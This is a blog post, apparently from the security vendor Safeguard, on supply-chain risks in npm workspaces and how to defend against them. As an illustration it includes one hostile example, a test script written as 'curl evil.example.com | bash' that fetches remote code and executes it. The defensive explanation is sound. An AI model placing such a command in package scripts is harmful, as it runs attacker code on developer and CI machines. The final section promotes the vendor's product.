Workspaces are one of those features that look like sugar until you audit them. On the surface they give you a clean monorepo layout with hoisted dependencies and shared tooling. Underneath, they change how npm resolves packages, how scripts execute, and how a compromised dependency can reach across project boundaries. I've migrated three organizations onto workspaces in the last eighteen months, and each time I learned something new about where the sharp edges live.
Npm workspaces landed in npm 7 in October 2020. The feature has matured substantially since, and as of npm 10.5 in March 2024 most of the rough edges are gone. But the security model has not fundamentally changed, and that is where the interesting questions sit.
One node_modules To Rule Them All
The defining characteristic of workspaces is dependency hoisting. When you have packages/api and packages/web, both declaring a dependency on lodash@4, npm installs a single copy at the root node_modules and symlinks it where needed. This is efficient. It is also a lateral movement path. If a postinstall script in one workspace writes a malicious module into root node_modules, every other workspace that resolves through the root sees the tampered copy.
The attack is not theoretical. In January 2024 I watched a compromised build-time dependency in a single workspace package attempt to write into ../../node_modules/.bin during a postinstall. The hoisted layout meant the binary shim was visible to every workspace. The only thing that prevented a broader incident was that the malicious author had targeted a Unix-only path and we were running the CI job on a Windows agent that afternoon.
The defense here is twofold. First, run npm install --ignore-scripts in CI and gate script execution through an allowlist of package names. Second, treat workspace boundaries as a trust boundary only within your own code; the dependency graph sits below that boundary and is shared.
The workspaces Field Itself
The workspaces field in root package.json accepts glob patterns like packages/* and apps/**. Npm does not sandbox what a workspace package can declare. A workspace can list any version of any public package. If an attacker can open a PR that adds a new directory under packages/ containing its own package.json, and your CI runs npm install against the merged tree, they can introduce a dependency without touching the root manifest.
I saw this pattern exploited against a public monorepo in August 2023. The attacker's PR added packages/docs-site/ with a package.json that pulled a typosquatted logging library. Because the main reviewer focused on the docs-site's source files and didn't notice the new dependency in a five-hundred-line PR, the dependency landed. The compromised library called home on install.
Your defense: a PR check that diffs package.json across every workspace, not just the root. GitHub's default path filters are not sufficient; you want a linter that fails the PR if any workspace adds a dependency not already used elsewhere in the repo.
Hoisted Versus Nested
Npm's hoisting is non-deterministic at the edges. If packages/api depends on express@4.18 and packages/web depends on express@4.19, npm typically hoists one and nests the other. Which one gets hoisted depends on resolution order, which depends on alphabetical sort of the workspace list. I've seen two developers on the same branch produce different lockfiles by renaming a workspace. That is an integrity headache.
Lockfile v3, the default in npm 9 and later, does capture the full resolution, so a committed lockfile is deterministic across developers. But if you run npm install without a lockfile (a bootstrap or a --no-package-lock run), you can end up with a layout that differs from CI.
Scripts Across Workspaces
npm run test --workspaces is a convenience that executes the named script in every workspace that defines it. It is also a way to execute arbitrary code from an untrusted workspace. If a new workspace lands with a test script that is curl evil.example.com | bash, the cross-workspace runner executes it. This is not a bug. Scripts in package.json have always been full-power shell commands. But the --workspaces flag makes the blast radius wider than people expect.
Npm 10 added --workspace=<name> scoping, which is slightly safer, but it does not change the underlying trust model. My rule is that any CI job that runs with --workspaces must also run with --ignore-scripts, and that explicit script dispatch is done through a root-level orchestrator like Turborepo or Nx that I control.
The overrides Collision
Root-level overrides in the top package.json apply to every workspace. This is useful for forcing a secure version of a transitive dependency across the monorepo. It is also a gun pointed at your feet. An override that pins semver@7.5.4 to patch CVE-2022-25883 (the semver regex DoS) is the right move; an override that pins a critical runtime dependency to an older version because one workspace was too lazy to update is how you end up running vulnerable code in production for two years.
Npm 10 added workspace-local overrides support. Use it when you can. A workspace that needs its own override for a compatibility reason should declare it in its own package.json, not at the root.
Publish Scope And private: true
Every workspace package should be explicitly "private": true unless you intend to publish it. I have seen at least three incidents in the last year where a workspace package was inadvertently published to the public registry because a developer ran npm publish --workspaces without thinking. Npm will publish every non-private workspace. One of those incidents leaked proprietary auth middleware for roughly four hours before the package was unpublished. Unpublish is not a reliable erase; the tarball was cached by at least one CDN for another day.
Add "private": true at creation time. Add a CI check that fails if any workspace has neither "private": true nor a "publishConfig" block with an explicit registry.
How Safeguard Helps
Safeguard understands npm workspaces natively and analyzes each workspace as both a unit and as part of the shared hoisted tree, so a vulnerability in a hoisted dependency is surfaced at every workspace it reaches. Our PR check diffs every package.json in the repo, flagging new dependencies in any workspace rather than only the root. We enforce "private": true as a policy gate for workspace packages and block publish operations for any workspace that lacks an explicit publishConfig. If your team is migrating to workspaces, Safeguard's scanner runs against the pre- and post-migration lockfiles to confirm the hoisted tree did not silently introduce a vulnerable version.